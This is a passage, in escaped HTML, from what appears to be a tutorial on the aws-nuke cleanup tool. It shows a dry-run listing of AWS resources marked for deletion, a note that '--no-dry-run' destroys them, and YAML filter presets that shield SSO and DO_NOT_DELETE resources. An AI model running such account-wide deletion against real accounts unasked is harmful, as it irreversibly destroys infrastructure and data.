remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2RouteTable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rtb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e igw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e vpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e SQSQueue\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMPolicy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LastUsedDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleCreateDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleLastUsed:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RolePath:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e complete:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 85\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e total,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nukeable,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 66\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e above\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e deleted\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e supplied\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Provide\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e actually\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e destroy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea. The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly does not want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account. So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can see in this example I am targeting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used. I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times. To reduce that you can use standard YAML\nanchors. So the final config for your preset would look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - 